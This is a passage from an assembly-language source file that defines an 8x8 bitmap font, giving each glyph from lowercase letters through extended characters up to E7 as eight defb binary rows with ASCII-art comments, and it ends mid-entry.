0b00000000 ; defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00000000 ; ; Character: j (6A) defb 0b00000000 ; defb 0b00001000 ; o defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b01011000 ; o oo defb 0b00110000 ; oo ; Character: k (6B) defb 0b01100000 ; oo defb 0b01100100 ; oo o defb 0b01101000 ; oo o defb 0b01110000 ; ooo defb 0b01111000 ; oooo defb 0b01101100 ; oo oo defb 0b01100110 ; oo oo defb 0b00000000 ; ; Character: l (6C) defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00001100 ; oo defb 0b00000000 ; ; Character: m (6D) defb 0b00000000 ; defb 0b11111100 ; oooooo defb 0b11010110 ; oo o oo defb 0b11010110 ; oo o oo defb 0b11010110 ; oo o oo defb 0b11010110 ; oo o oo defb 0b11000110 ; oo oo defb 0b00000000 ; ; Character: n (6E) defb 0b00000000 ; defb 0b01111100 ; ooooo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b00000000 ; ; Character: o (6F) defb 0b00000000 ; defb 0b00111100 ; oooo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b00111100 ; oooo defb 0b00000000 ; ; Character: p (70) defb 0b00000000 ; defb 0b01111100 ; ooooo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01111100 ; ooooo defb 0b01100000 ; oo defb 0b01100000 ; oo ; Character: q (71) defb 0b00000000 ; defb 0b00111110 ; ooooo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b00111110 ; ooooo defb 0b00000110 ; oo ; Character: r (72) defb 0b00000000 ; defb 0b01101100 ; oo oo defb 0b01110000 ; ooo defb 0b01100000 ; oo defb 0b01100000 ; oo defb 0b01100000 ; oo defb 0b01100000 ; oo defb 0b00000000 ; ; Character: s (73) defb 0b00000000 ; defb 0b00111100 ; oooo defb 0b01110010 ; ooo o defb 0b00111000 ; ooo defb 0b00011100 ; ooo defb 0b01001110 ; o ooo defb 0b00111100 ; oooo defb 0b00000000 ; ; Character: t (74) defb 0b00011000 ; oo defb 0b00111100 ; oooo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00001100 ; oo defb 0b00000000 ; ; Character: u (75) defb 0b00000000 ; defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b00111110 ; ooooo defb 0b00000000 ; ; Character: v (76) defb 0b00000000 ; defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100100 ; oo o defb 0b01111000 ; oooo defb 0b00000000 ; ; Character: w (77) defb 0b00000000 ; defb 0b11000110 ; oo oo defb 0b11000110 ; oo oo defb 0b11010110 ; oo o oo defb 0b11010110 ; oo o oo defb 0b11010110 ; oo o oo defb 0b11111100 ; oooooo defb 0b00000000 ; ; Character: x (78) defb 0b00000000 ; defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b00111100 ; oooo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b00000000 ; ; Character: y (79) defb 0b00000000 ; defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b00100110 ; o oo defb 0b00011110 ; oooo defb 0b01000110 ; o oo defb 0b00111100 ; oooo ; Character: z (7A) defb 0b00000000 ; defb 0b01111110 ; oooooo defb 0b00001110 ; ooo defb 0b00011100 ; ooo defb 0b00111000 ; ooo defb 0b01110000 ; ooo defb 0b01111110 ; oooooo defb 0b00000000 ; ; Character: { (7B) defb 0b00001110 ; ooo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00110000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00001110 ; ooo defb 0b00000000 ; ; Character: | (7C) defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo ; Character: } (7D) defb 0b01110000 ; ooo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00001100 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b01110000 ; ooo defb 0b00000000 ; ; Character: ~ (7E) defb 0b00000000 ; defb 0b01100000 ; oo defb 0b11110010 ; oooo o defb 0b10011110 ; o oooo defb 0b00001100 ; oo defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; ; Character: ? (7F) defb 0b00010000 ; o defb 0b00010000 ; o defb 0b00101000 ; o o defb 0b00101000 ; o o defb 0b01000100 ; o o defb 0b01000100 ; o o defb 0b10000010 ; o o defb 0b11111110 ; ooooooo ; Character: ? (80) defb 0b00111100 ; oooo defb 0b01100010 ; oo o defb 0b01100000 ; oo defb 0b01100000 ; oo defb 0b01100000 ; oo defb 0b01100010 ; oo o defb 0b00011100 ; ooo defb 0b00110000 ; oo ; Character: ? (81) defb 0b00100100 ; o o defb 0b00000000 ; defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b00111110 ; ooooo defb 0b00000000 ; ; Character: ? (82) defb 0b00001100 ; oo defb 0b00011000 ; oo defb 0b00000000 ; defb 0b00111100 ; oooo defb 0b01111110 ; oooooo defb 0b01100000 ; oo defb 0b00111100 ; oooo defb 0b00000000 ; ; Character: ? (83) defb 0b00011000 ; oo defb 0b01100110 ; oo oo defb 0b00000000 ; defb 0b00111100 ; oooo defb 0b00000110 ; oo defb 0b01111110 ; oooooo defb 0b00111110 ; ooooo defb 0b00000000 ; ; Character: ? (84) defb 0b00100100 ; o o defb 0b00000000 ; defb 0b00111100 ; oooo defb 0b01000110 ; o oo defb 0b00111110 ; ooooo defb 0b01000110 ; o oo defb 0b00111110 ; ooooo defb 0b00000000 ; ; Character: ? (85) defb 0b00110000 ; oo defb 0b00011000 ; oo defb 0b00000000 ; defb 0b00111100 ; oooo defb 0b00000110 ; oo defb 0b01111110 ; oooooo defb 0b00111110 ; ooooo defb 0b00000000 ; ; Character: ? (86) defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00000000 ; defb 0b00111100 ; oooo defb 0b00000110 ; oo defb 0b01111110 ; oooooo defb 0b00111110 ; ooooo defb 0b00000000 ; ; Character: ? (87) defb 0b00000000 ; defb 0b00111100 ; oooo defb 0b01100010 ; oo o defb 0b01100000 ; oo defb 0b01100010 ; oo o defb 0b00111100 ; oooo defb 0b00001000 ; o defb 0b00011000 ; oo ; Character: ? (88) defb 0b00011000 ; oo defb 0b00110100 ; oo o defb 0b00000000 ; defb 0b00111100 ; oooo defb 0b01111110 ; oooooo defb 0b01100000 ; oo defb 0b00111110 ; ooooo defb 0b00000000 ; ; Character: ? (89) defb 0b00100100 ; o o defb 0b00000000 ; defb 0b00111100 ; oooo defb 0b01100110 ; oo oo defb 0b01111110 ; oooooo defb 0b01100000 ; oo defb 0b00111110 ; ooooo defb 0b00000000 ; ; Character: ? (8A) defb 0b00110000 ; oo defb 0b00011000 ; oo defb 0b00000000 ; defb 0b00111100 ; oooo defb 0b01111110 ; oooooo defb 0b01100000 ; oo defb 0b00111100 ; oooo defb 0b00000000 ; ; Character: ? (8B) defb 0b00100100 ; o o defb 0b00000000 ; defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00000000 ; ; Character: ? (8C) defb 0b00011000 ; oo defb 0b00100100 ; o o defb 0b00000000 ; defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00000000 ; ; Character: ? (8D) defb 0b00010000 ; o defb 0b00001000 ; o defb 0b00000000 ; defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00000000 ; ; Character: ? (8E) defb 0b00100100 ; o o defb 0b00000000 ; defb 0b00111100 ; oooo defb 0b01100110 ; oo oo defb 0b01111110 ; oooooo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b00000000 ; ; Character: ? (8F) defb 0b00011000 ; oo defb 0b00000000 ; defb 0b00111100 ; oooo defb 0b01100110 ; oo oo defb 0b01111110 ; oooooo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b00000000 ; ; Character: ? (90) defb 0b00001100 ; oo defb 0b00011000 ; oo defb 0b01111110 ; oooooo defb 0b01100000 ; oo defb 0b01111100 ; ooooo defb 0b01100000 ; oo defb 0b01111110 ; oooooo defb 0b00000000 ; ; Character: ? (91) defb 0b00000000 ; defb 0b00000000 ; defb 0b01111110 ; oooooo defb 0b00011011 ; oo oo defb 0b01111111 ; ooooooo defb 0b11011000 ; oo oo defb 0b01111110 ; oooooo defb 0b00000000 ; ; Character: ? (92) defb 0b00111111 ; oooooo defb 0b01111000 ; oooo defb 0b11011000 ; oo oo defb 0b11011110 ; oo oooo defb 0b11111000 ; ooooo defb 0b11011000 ; oo oo defb 0b11011111 ; oo ooooo defb 0b00000000 ; ; Character: ? (93) defb 0b00011000 ; oo defb 0b00110100 ; oo o defb 0b00000000 ; defb 0b00111100 ; oooo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b00111100 ; oooo defb 0b00000000 ; ; Character: ? (94) defb 0b00100100 ; o o defb 0b00000000 ; defb 0b00111100 ; oooo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b00111100 ; oooo defb 0b00000000 ; ; Character: ? (95) defb 0b00110000 ; oo defb 0b00011000 ; oo defb 0b00000000 ; defb 0b00111100 ; oooo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b00111100 ; oooo defb 0b00000000 ; ; Character: ? (96) defb 0b00011000 ; oo defb 0b00100100 ; o o defb 0b00000000 ; defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b00111100 ; oooo defb 0b00000000 ; ; Character: ? (97) defb 0b00110000 ; oo defb 0b00011000 ; oo defb 0b00000000 ; defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b00111100 ; oooo defb 0b00000000 ; ; Character: ? (98) defb 0b01100110 ; oo oo defb 0b00000000 ; defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b00111110 ; ooooo defb 0b01000110 ; o oo defb 0b00111100 ; oooo ; Character: ? (99) defb 0b01100110 ; oo oo defb 0b00000000 ; defb 0b00111100 ; oooo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b00111100 ; oooo defb 0b00000000 ; ; Character: ? (9A) defb 0b01100110 ; oo oo defb 0b00000000 ; defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b00111100 ; oooo defb 0b00000000 ; ; Character: ? (9B) defb 0b00011000 ; oo defb 0b00111100 ; oooo defb 0b01100010 ; oo o defb 0b01100000 ; oo defb 0b01100000 ; oo defb 0b01100010 ; oo o defb 0b00111100 ; oooo defb 0b00011000 ; oo ; Character: ? (9C) defb 0b00011100 ; ooo defb 0b00111010 ; ooo o defb 0b00110000 ; oo defb 0b01111100 ; ooooo defb 0b00110000 ; oo defb 0b00110000 ; oo defb 0b01111110 ; oooooo defb 0b00000000 ; ; Character: ? (9D) defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b00111100 ; oooo defb 0b00011000 ; oo defb 0b00111100 ; oooo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00000000 ; ; Character: ? (9E) defb 0b00111100 ; oooo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01101100 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b11101100 ; ooo oo defb 0b00000000 ; ; Character: ? (9F) defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo ; Character: ? (A0) defb 0b00001100 ; oo defb 0b00011000 ; oo defb 0b00000000 ; defb 0b00111100 ; oooo defb 0b00000110 ; oo defb 0b01111110 ; oooooo defb 0b00111110 ; ooooo defb 0b00000000 ; ; Character: ? (A1) defb 0b00001100 ; oo defb 0b00011000 ; oo defb 0b00000000 ; defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00000000 ; ; Character: ? (A2) defb 0b00001100 ; oo defb 0b00011000 ; oo defb 0b00000000 ; defb 0b00111100 ; oooo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b00111100 ; oooo defb 0b00000000 ; ; Character: ? (A3) defb 0b00001100 ; oo defb 0b00011000 ; oo defb 0b00000000 ; defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b00111110 ; ooooo defb 0b00000000 ; ; Character: ? (A4) defb 0b00110100 ; oo o defb 0b01011000 ; o oo defb 0b00000000 ; defb 0b01111100 ; ooooo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b00000000 ; ; Character: ? (A5) defb 0b00011010 ; oo o defb 0b00101100 ; o oo defb 0b01100010 ; oo o defb 0b01110010 ; ooo o defb 0b01011010 ; o oo o defb 0b01001110 ; o ooo defb 0b01000110 ; o oo defb 0b00000000 ; ; Character: ? (A6) defb 0b00000000 ; defb 0b00111100 ; oooo defb 0b01000110 ; o oo defb 0b00111110 ; ooooo defb 0b01100110 ; oo oo defb 0b00111110 ; ooooo defb 0b00000000 ; defb 0b01111110 ; oooooo ; Character: ? (A7) defb 0b00000000 ; defb 0b00111100 ; oooo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b00111100 ; oooo defb 0b00000000 ; defb 0b01111110 ; oooooo ; Character: ? (A8) defb 0b00000000 ; defb 0b00011000 ; oo defb 0b00000000 ; defb 0b00011000 ; oo defb 0b00110000 ; oo defb 0b01100000 ; oo defb 0b01100110 ; oo oo defb 0b00111100 ; oooo ; Character: ? (A9) defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; defb 0b00111110 ; ooooo defb 0b00110000 ; oo defb 0b00110000 ; oo defb 0b00110000 ; oo defb 0b00000000 ; ; Character: ? (AA) defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; defb 0b01111100 ; ooooo defb 0b00001100 ; oo defb 0b00001100 ; oo defb 0b00001100 ; oo defb 0b00000000 ; ; Character: ? (AB) defb 0b01100010 ; oo o defb 0b11100100 ; ooo o defb 0b01101000 ; oo o defb 0b01110110 ; ooo oo defb 0b00101011 ; o o oo defb 0b01000011 ; o oo defb 0b10000110 ; o oo defb 0b00001111 ; oooo ; Character: ? (AC) defb 0b01100010 ; oo o defb 0b11100100 ; ooo o defb 0b01101000 ; oo o defb 0b01110110 ; ooo oo defb 0b00101110 ; o ooo defb 0b01010110 ; o o oo defb 0b10011111 ; o ooooo defb 0b00000110 ; oo ; Character: ? (AD) defb 0b00000000 ; defb 0b00011000 ; oo defb 0b00000000 ; defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo ; Character: ? (AE) defb 0b00011011 ; oo oo defb 0b00110110 ; oo oo defb 0b01101100 ; oo oo defb 0b11011000 ; oo oo defb 0b01101100 ; oo oo defb 0b00110110 ; oo oo defb 0b00011011 ; oo oo defb 0b00000000 ; ; Character: ? (AF) defb 0b11011000 ; oo oo defb 0b01101100 ; oo oo defb 0b00110110 ; oo oo defb 0b00011011 ; oo oo defb 0b00110110 ; oo oo defb 0b01101100 ; oo oo defb 0b11011000 ; oo oo defb 0b00000000 ; ; Character: ? (B0) defb 0b00110100 ; oo o defb 0b01011000 ; o oo defb 0b00000000 ; defb 0b00111100 ; oooo defb 0b00000110 ; oo defb 0b01111110 ; oooooo defb 0b00111110 ; ooooo defb 0b00000000 ; ; Character: ? (B1) defb 0b00110100 ; oo o defb 0b01011000 ; o oo defb 0b00000000 ; defb 0b00111100 ; oooo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b00111100 ; oooo defb 0b00000000 ; ; Character: ? (B2) defb 0b00000010 ; o defb 0b00111100 ; oooo defb 0b01100110 ; oo oo defb 0b01101110 ; oo ooo defb 0b01110110 ; ooo oo defb 0b01100110 ; oo oo defb 0b00111100 ; oooo defb 0b01000000 ; o ; Character: ? (B3) defb 0b00000000 ; defb 0b00000010 ; o defb 0b00111100 ; oooo defb 0b01101110 ; oo ooo defb 0b01110110 ; ooo oo defb 0b01100110 ; oo oo defb 0b00111100 ; oooo defb 0b01000000 ; o ; Character: ? (B4) defb 0b00000000 ; defb 0b00000000 ; defb 0b01111110 ; oooooo defb 0b11011011 ; oo oo oo defb 0b11011110 ; oo oooo defb 0b11011000 ; oo oo defb 0b01111111 ; ooooooo defb 0b00000000 ; ; Character: ? (B5) defb 0b00000000 ; defb 0b01111110 ; oooooo defb 0b11011000 ; oo oo defb 0b11011000 ; oo oo defb 0b11111100 ; oooooo defb 0b11011000 ; oo oo defb 0b11011000 ; oo oo defb 0b11011110 ; oo oooo ; Character: ? (B6) defb 0b00100000 ; o defb 0b00010000 ; o defb 0b00111100 ; oooo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01111110 ; oooooo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo ; Character: ? (B7) defb 0b00110100 ; oo o defb 0b01011000 ; o oo defb 0b00111100 ; oooo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01111110 ; oooooo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo ; Character: ? (B8) defb 0b00110100 ; oo o defb 0b01011000 ; o oo defb 0b00111100 ; oooo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b00111100 ; oooo ; Character: ? (B9) defb 0b01100110 ; oo oo defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; ; Character: ? (BA) defb 0b00001100 ; oo defb 0b00011000 ; oo defb 0b00110000 ; oo defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; ; Character: ? (BB) defb 0b00000000 ; defb 0b00010000 ; o defb 0b00111000 ; ooo defb 0b00010000 ; o defb 0b00010000 ; o defb 0b00010000 ; o defb 0b00000000 ; defb 0b00000000 ; ; Character: ? (BC) defb 0b01111010 ; oooo o defb 0b11001010 ; oo o o defb 0b11001010 ; oo o o defb 0b11001010 ; oo o o defb 0b01111010 ; oooo o defb 0b00001010 ; o o defb 0b00001010 ; o o defb 0b00001010 ; o o ; Character: ? (BD) defb 0b00111100 ; oooo defb 0b01000010 ; o o defb 0b10011001 ; o oo o defb 0b10110101 ; o oo o o defb 0b10110001 ; o oo o defb 0b10011101 ; o ooo o defb 0b01000010 ; o o defb 0b00111100 ; oooo ; Character: ? (BE) defb 0b00111100 ; oooo defb 0b01000010 ; o o defb 0b10111001 ; o ooo o defb 0b10110101 ; o oo o o defb 0b10111001 ; o ooo o defb 0b10110101 ; o oo o o defb 0b01000010 ; o o defb 0b00111100 ; oooo ; Character: ? (BF) defb 0b11110001 ; oooo o defb 0b01011011 ; o oo oo defb 0b01010101 ; o o o o defb 0b01010001 ; o o o defb 0b01010001 ; o o o defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; ; Character: ? (C0) defb 0b01100110 ; oo oo defb 0b00000000 ; defb 0b11100110 ; ooo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b11110110 ; oooo oo defb 0b00000110 ; oo defb 0b00011100 ; ooo ; Character: ? (C1) defb 0b11110110 ; oooo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b11110110 ; oooo oo defb 0b00000110 ; oo defb 0b00011100 ; ooo ; Character: ? (C2) defb 0b00000000 ; defb 0b01100110 ; oo oo defb 0b01110110 ; ooo oo defb 0b00111100 ; oooo defb 0b01101110 ; oo ooo defb 0b01100110 ; oo oo defb 0b00000000 ; defb 0b00000000 ; ; Character: ? (C3) defb 0b00000000 ; defb 0b01111100 ; ooooo defb 0b00001100 ; oo defb 0b00001100 ; oo defb 0b00001100 ; oo defb 0b01111110 ; oooooo defb 0b00000000 ; defb 0b00000000 ; ; Character: ? (C4) defb 0b00000000 ; defb 0b00011110 ; oooo defb 0b00000110 ; oo defb 0b00001110 ; ooo defb 0b00011110 ; oooo defb 0b00110110 ; oo oo defb 0b00000000 ; defb 0b00000000 ; ; Character: ? (C5) defb 0b00000000 ; defb 0b01111110 ; oooooo defb 0b00001100 ; oo defb 0b00001100 ; oo defb 0b00001100 ; oo defb 0b00001100 ; oo defb 0b00000000 ; defb 0b00000000 ; ; Character: ? (C6) defb 0b00000000 ; defb 0b01111100 ; ooooo defb 0b00000110 ; oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b00000000 ; defb 0b00000000 ; ; Character: ? (C7) defb 0b00000000 ; defb 0b00011100 ; ooo defb 0b00001100 ; oo defb 0b00001100 ; oo defb 0b00001100 ; oo defb 0b00001100 ; oo defb 0b00000000 ; defb 0b00000000 ; ; Character: ? (C8) defb 0b00000000 ; defb 0b00011110 ; oooo defb 0b00001100 ; oo defb 0b00000110 ; oo defb 0b00000110 ; oo defb 0b00000110 ; oo defb 0b00000000 ; defb 0b00000000 ; ; Character: ? (C9) defb 0b00000000 ; defb 0b01111110 ; oooooo defb 0b00110110 ; oo oo defb 0b00110110 ; oo oo defb 0b00110110 ; oo oo defb 0b00110110 ; oo oo defb 0b00000000 ; defb 0b00000000 ; ; Character: ? (CA) defb 0b01100000 ; oo defb 0b01101110 ; oo ooo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01111110 ; oooooo defb 0b00000000 ; defb 0b00000000 ; ; Character: ? (CB) defb 0b00000000 ; defb 0b00111100 ; oooo defb 0b00001100 ; oo defb 0b00001100 ; oo defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; ; Character: ? (CC) defb 0b00000000 ; defb 0b00111110 ; ooooo defb 0b00000110 ; oo defb 0b00000110 ; oo defb 0b00000110 ; oo defb 0b00111110 ; ooooo defb 0b00000000 ; defb 0b00000000 ; ; Character: ? (CD) defb 0b01100000 ; oo defb 0b01111110 ; oooooo defb 0b00000110 ; oo defb 0b00000110 ; oo defb 0b00000110 ; oo defb 0b00001110 ; ooo defb 0b00000000 ; defb 0b00000000 ; ; Character: ? (CE) defb 0b00000000 ; defb 0b01101100 ; oo oo defb 0b00111110 ; ooooo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01101110 ; oo ooo defb 0b00000000 ; defb 0b00000000 ; ; Character: ? (CF) defb 0b00000000 ; defb 0b00011100 ; ooo defb 0b00001100 ; oo defb 0b00001100 ; oo defb 0b00001100 ; oo defb 0b00111100 ; oooo defb 0b00000000 ; defb 0b00000000 ; ; Character: ? (D0) defb 0b00000000 ; defb 0b00111110 ; ooooo defb 0b00110110 ; oo oo defb 0b00110110 ; oo oo defb 0b00110110 ; oo oo defb 0b00011100 ; ooo defb 0b00000000 ; defb 0b00000000 ; ; Character: ? (D1) defb 0b00000000 ; defb 0b00110110 ; oo oo defb 0b00110110 ; oo oo defb 0b00110110 ; oo oo defb 0b00110110 ; oo oo defb 0b01111110 ; oooooo defb 0b00000000 ; defb 0b00000000 ; ; Character: ? (D2) defb 0b00000000 ; defb 0b01111110 ; oooooo defb 0b01100110 ; oo oo defb 0b01110110 ; ooo oo defb 0b00000110 ; oo defb 0b01111110 ; oooooo defb 0b00000000 ; defb 0b00000000 ; ; Character: ? (D3) defb 0b00000000 ; defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b00111100 ; oooo defb 0b00001110 ; ooo defb 0b01111110 ; oooooo defb 0b00000000 ; defb 0b00000000 ; ; Character: ? (D4) defb 0b00000000 ; defb 0b00111110 ; ooooo defb 0b00000110 ; oo defb 0b00110110 ; oo oo defb 0b00110110 ; oo oo defb 0b00110100 ; oo o defb 0b00110000 ; oo defb 0b00000000 ; ; Character: ? (D5) defb 0b00000000 ; defb 0b01111000 ; oooo defb 0b00001100 ; oo defb 0b00001100 ; oo defb 0b00001100 ; oo defb 0b00001100 ; oo defb 0b00000000 ; defb 0b00000000 ; ; Character: ? (D6) defb 0b00000000 ; defb 0b11010110 ; oo o oo defb 0b11010110 ; oo o oo defb 0b11010110 ; oo o oo defb 0b11010110 ; oo o oo defb 0b11111110 ; ooooooo defb 0b00000000 ; defb 0b00000000 ; ; Character: ? (D7) defb 0b00000000 ; defb 0b01111100 ; ooooo defb 0b01101100 ; oo oo defb 0b01101100 ; oo oo defb 0b01101100 ; oo oo defb 0b11101100 ; ooo oo defb 0b00000000 ; defb 0b00000000 ; ; Character: ? (D8) defb 0b00000000 ; defb 0b00011100 ; ooo defb 0b00001100 ; oo defb 0b00001100 ; oo defb 0b00001100 ; oo defb 0b00001100 ; oo defb 0b00001100 ; oo defb 0b00000000 ; ; Character: ? (D9) defb 0b00000000 ; defb 0b00111110 ; ooooo defb 0b00000110 ; oo defb 0b00000110 ; oo defb 0b00000110 ; oo defb 0b00000110 ; oo defb 0b00000110 ; oo defb 0b00000000 ; ; Character: ? (DA) defb 0b00000000 ; defb 0b11111110 ; ooooooo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01111110 ; oooooo defb 0b00000000 ; defb 0b00000000 ; ; Character: ? (DB) defb 0b00000000 ; defb 0b01111110 ; oooooo defb 0b01100110 ; oo oo defb 0b01110110 ; ooo oo defb 0b00000110 ; oo defb 0b00000110 ; oo defb 0b00000110 ; oo defb 0b00000000 ; ; Character: ? (DC) defb 0b00000000 ; defb 0b00110110 ; oo oo defb 0b00110110 ; oo oo defb 0b00011100 ; ooo defb 0b00001100 ; oo defb 0b00001100 ; oo defb 0b00001100 ; oo defb 0b00000000 ; ; Character: ? (DD) defb 0b00011100 ; ooo defb 0b00110010 ; oo o defb 0b00111100 ; oooo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b00111100 ; oooo defb 0b01001100 ; o oo defb 0b00111000 ; ooo ; Character: ? (DE) defb 0b00000000 ; defb 0b00010000 ; o defb 0b00111000 ; ooo defb 0b01101100 ; oo oo defb 0b11000110 ; oo oo defb 0b10000010 ; o o defb 0b00000000 ; defb 0b00000000 ; ; Character: ? (DF) defb 0b01100110 ; oo oo defb 0b11110111 ; oooo ooo defb 0b10011001 ; o oo o defb 0b10011001 ; o oo o defb 0b11101111 ; ooo oooo defb 0b01100110 ; oo oo defb 0b00000000 ; defb 0b00000000 ; ; Character: ? (E0) defb 0b00000000 ; defb 0b00000000 ; defb 0b01110110 ; ooo oo defb 0b11011100 ; oo ooo defb 0b11001000 ; oo o defb 0b11011100 ; oo ooo defb 0b01110110 ; ooo oo defb 0b00000000 ; ; Character: ? (E1) defb 0b00011100 ; ooo defb 0b00110110 ; oo oo defb 0b01100110 ; oo oo defb 0b01111100 ; ooooo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01111100 ; ooooo defb 0b01100000 ; oo ; Character: ? (E2) defb 0b00000000 ; defb 0b11111110 ; ooooooo defb 0b01100110 ; oo oo defb 0b01100010 ; oo o defb 0b01100000 ; oo defb 0b01100000 ; oo defb 0b01100000 ; oo defb 0b11111000 ; ooooo ; Character: ? (E3) defb 0b00000000 ; defb 0b00000000 ; defb 0b11111110 ; ooooooo defb 0b01101100 ; oo oo defb 0b01101100 ; oo oo defb 0b01101100 ; oo oo defb 0b01101100 ; oo oo defb 0b01001000 ; o o ; Character: ? (E4) defb 0b11111110 ; ooooooo defb 0b01100110 ; oo oo defb 0b00110000 ; oo defb 0b00011000 ; oo defb 0b00110000 ; oo defb 0b01100110 ; oo oo defb 0b11111110 ; ooooooo defb 0b00000000 ; ; Character: ? (E5) defb 0b00000000 ; defb 0b00011110 ; oooo defb 0b00111000 ; ooo defb 0b01101100 ; oo oo defb 0b01101100 ; oo oo defb 0b01101100 ; oo oo defb 0b00111000 ; ooo defb 0b00000000 ; ; Character: ? (E6) defb 0b00000000 ; defb 0b00000000 ; defb 0b01101100 ; oo oo defb 0b01101100 ; oo oo defb 0b01101100 ; oo oo defb 0b01101100 ; oo oo defb 0b01111111 ; ooooooo defb 0b11000000 ; oo ; Character: ? (E7) defb 0b00000000 ; defb 0b00000000 ; defb 0b01111110 ; oooooo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00010000 ; o ; Character: ? (E8) defb 